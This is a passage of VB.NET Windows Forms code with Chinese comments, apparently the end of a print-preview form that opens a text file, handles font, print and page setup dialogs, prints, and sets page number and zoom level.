                top = ev.MarginBounds.Top + linecount * lineheight
                ev.Graphics.DrawString(strline, printfont, printbrush, left, top, strformat)
                linecount = linecount + 1
            Loop
            If strline Is Nothing Then
                ev.HasMorePages = False
            Else
                ev.HasMorePages = True

            End If
        Catch ex As Printing.InvalidPrinterException
            MsgBox(ex.Message, MsgBoxStyle.OKOnly, "打印出错")
            MsgBox(ex.Source)
        Catch ex1 As Exception
            MsgBox(ex1.Message)
            MsgBox(ex1.Source)
        End Try
        pagecount.Maximum = totalpage
        pagecount.Minimum = 1
    End Sub

    '打开文件,读取文件流,开始填充打印页面
    Private Sub openfile_onclick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles openfile.Click
        totalpage = 0
        If Not (printstream Is Nothing) Then
            printstream.Close()
        End If
        Dim filedialog As New OpenFileDialog
        If filedialog.ShowDialog = DialogResult.OK Then
            printstream = New StreamReader(filedialog.FileName)
            PrintPreviewControl1.Document = newprintdocument
            PrintPreviewControl1.Zoom = 1
        End If
    End Sub

    '字体设置对话框
    Private Sub setfont_onclick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles setfont.Click
        Dim setfontdialog As New FontDialog
        If setfontdialog.ShowDialog = DialogResult.OK Then
            totalpage = 0
            printstream.BaseStream.Seek(0, SeekOrigin.Begin)
            printfont = setfontdialog.Font
            PrintPreviewControl1.InvalidatePreview()
            Me.Refresh()
        End If
    End Sub

    '打印设置对话框
    Private Sub printsetup_onclick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles printsetup.Click
        Dim printsetup As New PrintDialog
        printsetup.Document = newprintdocument
        If printsetup.ShowDialog = DialogResult.OK Then
            totalpage = 0
            printstream.BaseStream.Seek(0, SeekOrigin.Begin)
            PrintPreviewControl1.InvalidatePreview()
            Me.Refresh()
        End If
    End Sub

    '页面设置对话框
    Private Sub pagesetup_onclick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles pagesetup.Click
        Dim pagesetup As New PageSetupDialog
        pagesetup.Document = newprintdocument
        If pagesetup.ShowDialog = DialogResult.OK Then
            totalpage = 0
            printstream.BaseStream.Seek(0, SeekOrigin.Begin)
            PrintPreviewControl1.InvalidatePreview()
            Me.Refresh()
        End If
    End Sub

    '打印文档
    Private Sub printthis_onclick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles printthis.Click
        newprintdocument.Print()
    End Sub

    '当窗口关闭时关闭文档流
    Private Sub previewcontrol_onclose(ByVal sender As Object, ByVal e As System.EventArgs) Handles MyBase.Closed
        If Not (printstream Is Nothing) Then
            printstream.Close()
        End If
    End Sub

    '改变当前显示的页面
    Private Sub NumericUpDown1_ValueChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles pagecount.ValueChanged
        PrintPreviewControl1.StartPage = pagecount.Value - 1
    End Sub

    '改变显示比例
    Private Sub pageroom_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles pageroom.SelectedIndexChanged
        Select Case pageroom.Items(pageroom.SelectedIndex)
            Case "25%"
                PrintPreviewControl1.Zoom = 0.25
                PrintPreviewControl1.Refresh()
                Me.Refresh()
            Case "50%"
                PrintPreviewControl1.Zoom = 0.5
                PrintPreviewControl1.Refresh()
                Me.Refresh()
            Case "75%"
                PrintPreviewControl1.Zoom = 0.75
                PrintPreviewControl1.Refresh()
                Me.Refresh()
            Case "100%"
                PrintPreviewControl1.Zoom = 1
                PrintPreviewControl1.Refresh()
                Me.Refresh()
        End Select
    End Sub
End Class